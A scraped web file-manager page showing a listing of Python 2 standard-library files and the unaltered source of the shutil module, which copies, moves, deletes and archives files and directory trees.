1.68
KB
-rw-r--r--
uu.py
6.4
KB
-rwxr-xr-x
uu.pyc
4.21
KB
-rw-r--r--
uu.pyo
4.21
KB
-rw-r--r--
uuid.py
20.6
KB
-rw-r--r--
uuid.pyc
20.68
KB
-rw-r--r--
uuid.pyo
20.68
KB
-rw-r--r--
warnings.py
13.71
KB
-rw-r--r--
warnings.pyc
12.84
KB
-rw-r--r--
warnings.pyo
12.02
KB
-rw-r--r--
wave.py
17.67
KB
-rw-r--r--
wave.pyc
19
KB
-rw-r--r--
wave.pyo
18.94
KB
-rw-r--r--
weakref.py
10.44
KB
-rw-r--r--
weakref.pyc
13.72
KB
-rw-r--r--
weakref.pyo
13.72
KB
-rw-r--r--
webbrowser.py
22.19
KB
-rw-r--r--
webbrowser.pyc
19.32
KB
-rw-r--r--
webbrowser.pyo
19.27
KB
-rw-r--r--
whichdb.py
3.3
KB
-rw-r--r--
whichdb.pyc
2.19
KB
-rw-r--r--
whichdb.pyo
2.19
KB
-rw-r--r--
wsgiref.egg-info
187
B
-rw-r--r--
xdrlib.py
5.43
KB
-rw-r--r--
xdrlib.pyc
9.07
KB
-rw-r--r--
xdrlib.pyo
9.07
KB
-rw-r--r--
xmllib.py
34.05
KB
-rw-r--r--
xmllib.pyc
26.22
KB
-rw-r--r--
xmllib.pyo
26.22
KB
-rw-r--r--
xmlrpclib.py
50.78
KB
-rw-r--r--
xmlrpclib.pyc
42.89
KB
-rw-r--r--
xmlrpclib.pyo
42.71
KB
-rw-r--r--
zipfile.py
56.45
KB
-rw-r--r--
zipfile.pyc
40.33
KB
-rw-r--r--
zipfile.pyo
40.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : shutil.py
"""Utility functions for copying and archiving files and directory trees. XXX The functions here don't copy the resource fork or other metadata on Mac. """ import os import sys import stat from os.path import abspath import fnmatch import collections import errno try: from pwd import getpwnam except ImportError: getpwnam = None try: from grp import getgrnam except ImportError: getgrnam = None __all__ = ["copyfileobj", "copyfile", "copymode", "copystat", "copy", "copy2", "copytree", "move", "rmtree", "Error", "SpecialFileError", "ExecError", "make_archive", "get_archive_formats", "register_archive_format", "unregister_archive_format", "ignore_patterns"] class Error(EnvironmentError): pass class SpecialFileError(EnvironmentError): """Raised when trying to do a kind of operation (e.g. copying) which is not supported on a special file (e.g. a named pipe)""" class ExecError(EnvironmentError): """Raised when a command could not be executed""" try: WindowsError except NameError: WindowsError = None def copyfileobj(fsrc, fdst, length=16*1024): """copy data from file-like object fsrc to file-like object fdst""" while 1: buf = fsrc.read(length) if not buf: break fdst.write(buf) def _samefile(src, dst): # Macintosh, Unix. if hasattr(os.path, 'samefile'): try: return os.path.samefile(src, dst) except OSError: return False # All other platforms: check for same pathname. return (os.path.normcase(os.path.abspath(src)) == os.path.normcase(os.path.abspath(dst))) def copyfile(src, dst): """Copy data from src to dst""" if _samefile(src, dst): raise Error("`%s` and `%s` are the same file" % (src, dst)) for fn in [src, dst]: try: st = os.stat(fn) except OSError: # File most likely does not exist pass else: # XXX What about other special files? (sockets, devices...) if stat.S_ISFIFO(st.st_mode): raise SpecialFileError("`%s` is a named pipe" % fn) with open(src, 'rb') as fsrc: with open(dst, 'wb') as fdst: copyfileobj(fsrc, fdst) def copymode(src, dst): """Copy mode bits from src to dst""" if hasattr(os, 'chmod'): st = os.stat(src) mode = stat.S_IMODE(st.st_mode) os.chmod(dst, mode) def copystat(src, dst): """Copy all stat info (mode bits, atime, mtime, flags) from src to dst""" st = os.stat(src) mode = stat.S_IMODE(st.st_mode) if hasattr(os, 'utime'): os.utime(dst, (st.st_atime, st.st_mtime)) if hasattr(os, 'chmod'): os.chmod(dst, mode) if hasattr(os, 'chflags') and hasattr(st, 'st_flags'): try: os.chflags(dst, st.st_flags) except OSError, why: for err in 'EOPNOTSUPP', 'ENOTSUP': if hasattr(errno, err) and why.errno == getattr(errno, err): break else: raise def copy(src, dst): """Copy data and mode bits ("cp src dst"). The destination may be a directory. """ if os.path.isdir(dst): dst = os.path.join(dst, os.path.basename(src)) copyfile(src, dst) copymode(src, dst) def copy2(src, dst): """Copy data and all stat info ("cp -p src dst"). The destination may be a directory. """ if os.path.isdir(dst): dst = os.path.join(dst, os.path.basename(src)) copyfile(src, dst) copystat(src, dst) def ignore_patterns(*patterns): """Function that can be used as copytree() ignore parameter. Patterns is a sequence of glob-style patterns that are used to exclude files""" def _ignore_patterns(path, names): ignored_names = [] for pattern in patterns: ignored_names.extend(fnmatch.filter(names, pattern)) return set(ignored_names) return _ignore_patterns def copytree(src, dst, symlinks=False, ignore=None): """Recursively copy a directory tree using copy2(). The destination directory must not already exist. If exception(s) occur, an Error is raised with a list of reasons. If the optional symlinks flag is true, symbolic links in the source tree result in symbolic links in the destination tree; if it is false, the contents of the files pointed to by symbolic links are copied. The optional ignore argument is a callable. If given, it is called with the `src` parameter, which is the directory being visited by copytree(), and `names` which is the list of `src` contents, as returned by os.listdir(): callable(src, names) -> ignored_names Since copytree() is called recursively, the callable will be called once for each directory that is copied. It returns a list of names relative to the `src` directory that should not be copied. XXX Consider this example code rather than the ultimate tool. """ names = os.listdir(src) if ignore is not None: ignored_names = ignore(src, names) else: ignored_names = set() os.makedirs(dst) errors = [] for name in names: if name in ignored_names: continue srcname = os.path.join(src, name) dstname = os.path.join(dst, name) try: if symlinks and os.path.islink(srcname): linkto = os.readlink(srcname) os.symlink(linkto, dstname) elif os.path.isdir(srcname): copytree(srcname, dstname, symlinks, ignore) else: # Will raise a SpecialFileError for unsupported file types copy2(srcname, dstname) # catch the Error from the recursive copytree so that we can # continue with other files except Error, err: errors.extend(err.args[0]) except EnvironmentError, why: errors.append((srcname, dstname, str(why))) try: copystat(src, dst) except OSError, why: if WindowsError is not None and isinstance(why, WindowsError): # Copying file access times may fail on Windows pass else: errors.append((src, dst, str(why))) if errors: raise Error, errors def rmtree(path, ignore_errors=False, onerror=None): """Recursively delete a directory tree. If ignore_errors is set, errors are ignored; otherwise, if onerror is set, it is called to handle the error with arguments (func, path, exc_info) where func is os.listdir, os.remove, or os.rmdir; path is the argument to that function that caused it to fail; and exc_info is a tuple returned by sys.exc_info(). If ignore_errors is false and onerror is None, an exception is raised. """ if ignore_errors: def onerror(*args): pass elif onerror is None: def onerror(*args): raise try: if os.path.islink(path): # symlinks to directories are forbidden, see bug #1669 raise OSError("Cannot call rmtree on a symbolic link") except OSError: onerror(os.path.islink, path, sys.exc_info()) # can't continue even if onerror hook returns return names = [] try: names = os.listdir(path) except os.error, err: onerror(os.listdir, path, sys.exc_info()) for name in names: fullname = os.path.join(path, name) try: mode = os.lstat(fullname).st_mode except os.error: mode = 0 if stat.S_ISDIR(mode): rmtree(fullname, ignore_errors, onerror) else: try: os.remove(fullname) except os.error, err: onerror(os.remove, fullname, sys.exc_info()) try: os.rmdir(path) except os.error: onerror(os.rmdir, path, sys.exc_info()) def _basename(path): # A basename() variant which first strips the trailing slash, if present. # Thus we always get the last component of the path, even for directories. return os.path.basename(path.rstrip(os.path.sep)) def move(src, dst): """Recursively move a file or directory to another location. This is similar to the Unix "mv" command. If the destination is a directory or a symlink to a directory, the source is moved inside the directory. The destination path must not already exist. If the destination already exists but is not a directory, it may be overwritten depending on os.rename() semantics. If the destination is on our current filesystem, then rename() is used. Otherwise, src is copied to the destination and then removed. A lot more could be done here... A look at a mv.c shows a lot of the issues this implementation glosses over. """ real_dst = dst if os.path.isdir(dst): if _samefile(src, dst): # We might be on a case insensitive filesystem, # perform the rename anyway. os.rename(src, dst) return real_dst = os.path.join(dst, _basename(src)) if os.path.exists(real_dst): raise Error, "Destination path '%s' already exists" % real_dst try: os.rename(src, real_dst) except OSError: if os.path.isdir(src): if _destinsrc(src, dst): raise Error, "Cannot move a directory '%s' into itself '%s'." % (src, dst) copytree(src, real_dst, symlinks=True) rmtree(src) else: copy2(src, real_dst) os.unlink(src) def _destinsrc(src, dst): src = abspath(src) dst = abspath(dst) if not src.endswith(os.path.sep): src += os.path.sep if not dst.endswith(os.path.sep): dst += os.path.sep return dst.startswith(src) def _get_gid(name): """Returns a gid, given a group name.""" if getgrnam is None or name is None: return None try: result = getgrnam(name) except KeyError: result = None if result is not None: return result[2] return None def _get_uid(name): """Returns an uid, given a user name.""" if getpwnam is None or name is None: return None try: result = getpwnam(name) except KeyError: result = None if result is not None: return result[2] return None def _make_tarball(base_name, base_dir, compress="gzip", verbose=0, dry_run=0, owner=None, group=None, logger=None): """Create a (possibly compressed) tar file from all the files under 'base_dir'. 'compress' must be "gzip" (the default), "bzip2", or None. 'owner' and 'group' can be used to define an owner and a group for the archive that is being built. If not provided, the current owner and group will be used. The output tar file will be named 'base_name' + ".tar", possibly plus the appropriate compression extension (".gz", or ".bz2"). Returns the output filename. """ tar_compression = {'gzip': 'gz', 'bzip2': 'bz2', None: ''} compress_ext = {'gzip': '.gz', 'bzip2': '.bz2'} # flags for compression program, each element of list will be an argument if compress is not None and compress not in compress_ext.keys(): raise ValueError, \ ("bad value for 'compress': must be None, 'gzip' or 'bzip2'") archive_name = base_name + '.tar' + compress_ext.get(compress, '') archive_dir = os.path.dirname(archive_name) if not os.path.exists(archive_dir): if logger is not None: logger.info("creating %s", archive_dir) if not dry_run: os.makedirs(archive_dir) # creating the tarball import tarfile # late import so Python build itself doesn't break if logger is not None: logger.info('Creating tar archive') uid = _get_uid(owner) gid = _get_gid(group) def _set_uid_gid(tarinfo): if gid is not None: tarinfo.gid = gid tarinfo.gname = group if uid is not None: tarinfo.uid = uid tarinfo.uname = owner return tarinfo if not dry_run: tar = tarfile.open(archive_name, 'w|%s' % tar_compression[compress]) try: tar.add(base_dir, filter=_set_uid_gid) finally: tar.close() return archive_name def _call_external_zip(base_dir, zip_filename, verbose=False, dry_run=False): # XXX see if we want to keep an external call here if verbose: zipoptions = "-r" else: zipoptions = "-rq" from distutils.errors import DistutilsExecError from distutils.spawn import spawn try: spawn(["zip", zipoptions, zip_filename, base_dir], dry_run=dry_run) except DistutilsExecError: # XXX really should distinguish between "couldn't find # external 'zip' command" and "zip failed". raise ExecError, \ ("unable to create zip file '%s': " "could neither import the 'zipfile' module nor " "find a standalone zip utility") % zip_filename def _make_zipfile(base_name, base_dir, verbose=0, dry_run=0, logger=None): """Create a zip file from all the files under 'base_dir'. The output zip file will be named 'base_name' + ".zip". Uses either the "zipfile" Python module (if available) or the InfoZIP "zip" utility (if installed and found on the default search path). If neither tool is available, raises ExecError. Returns the name of the output zip file. """ zip_filename = base_name + ".zip" archive_dir = os.path.dirname(base_name) if not os.path.exists(archive_dir): if logger is not None: logger.info("creating %s", archive_dir) if not dry_run: os.makedirs(archive_dir) # If zipfile module is not available, try spawning an external 'zip' # command. try: import zipfile except ImportError: zipfile = None if zipfile is None: _call_external_zip(base_dir, zip_filename, verbose, dry_run) else: if logger is not None: logger.info("creating '%s' and adding '%s' to it", zip_filename, base_dir) if not dry_run: with zipfile.ZipFile(zip_filename, "w", compression=zipfile.ZIP_DEFLATED) as zf: path = os.path.normpath(base_dir) zf.write(path, path) if logger is not None: logger.info("adding '%s'", path) for dirpath, dirnames, filenames in os.walk(base_dir): for name in sorted(dirnames): path = os.path.normpath(os.path.join(dirpath, name)) zf.write(path, path) if logger is not None: logger.info("adding '%s'", path) for name in filenames: path = os.path.normpath(os.path.join(dirpath, name)) if os.path.isfile(path): zf.write(path, path) if logger is not None: logger.info("adding '%s'", path) return zip_filename _ARCHIVE_FORMATS = { 'gztar': (_make_tarball, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (_make_tarball, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'tar': (_make_tarball, [('compress', None)], "uncompressed tar file"), 'zip': (_make_zipfile, [],"ZIP file") } def get_archive_formats(): """Returns a list of supported formats for archiving and unarchiving. Each element of the returned sequence is a tuple (name, description) """ formats = [(name, registry[2]) for name, registry in _ARCHIVE_FORMATS.items()] formats.sort() return formats def register_archive_format(name, function, extra_args=None, description=''): """Registers an archive format. name is the name of the format. function is the callable that will be used to create archives. If provided, extra_args is a sequence of (name, value) tuples that will be passed as arguments to the callable. description can be provided to describe the format, and will be returned by the get_archive_formats() function. """ if extra_args is None: extra_args = [] if not isinstance(function, collections.Callable): raise TypeError('The %s object is not callable' % function) if not isinstance(extra_args, (tuple, list)): raise TypeError('extra_args needs to be a sequence') for element in extra_args: if not isinstance(element, (tuple, list)) or len(element) !=2 : raise TypeError('extra_args elements are : (arg_name, value)') _ARCHIVE_FORMATS[name] = (function, extra_args, description) def unregister_archive_format(name): del _ARCHIVE_FORMATS[name] def make_archive(base_name, format, root_dir=None, base_dir=None, verbose=0, dry_run=0, owner=None, group=None, logger=None): """Create an archive file (eg. zip or tar). 'base_name' is the name of the file to create, minus any format-specific extension; 'format' is the archive format: one of "zip", "tar", "bztar" or "gztar". 'root_dir' is a directory that will be the root directory of the archive; ie. we typically chdir into 'root_dir' before creating the archive. 'base_dir' is the directory where we start archiving from; ie. 'base_dir' will be the common prefix of all files and directories in the archive. 'root_dir' and 'base_dir' both default to the current directory. Returns the name of the archive file. 'owner' and 'group' are used when creating a tar archive. By default, uses the current owner and group. """ save_cwd = os.getcwd() if root_dir is not None: if logger is not None: logger.debug("changing into '%s'", root_dir) base_name = os.path.abspath(base_name) if not dry_run: os.chdir(root_dir) if base_dir is None: base_dir = os.curdir kwargs = {'dry_run': dry_run, 'logger': logger} try: format_info = _ARCHIVE_FORMATS[format] except KeyError: raise ValueError, "unknown archive format '%s'" % format func = format_info[0] for arg, val in format_info[1]: kwargs[arg] = val if format != 'zip': kwargs['owner'] = owner kwargs['group'] = group try: filename = func(base_name, base_dir, **kwargs) finally: if root_dir is not None: if logger is not None: logger.debug("changing back to '%s'", save_cwd) os.chdir(save_cwd) return filename
Close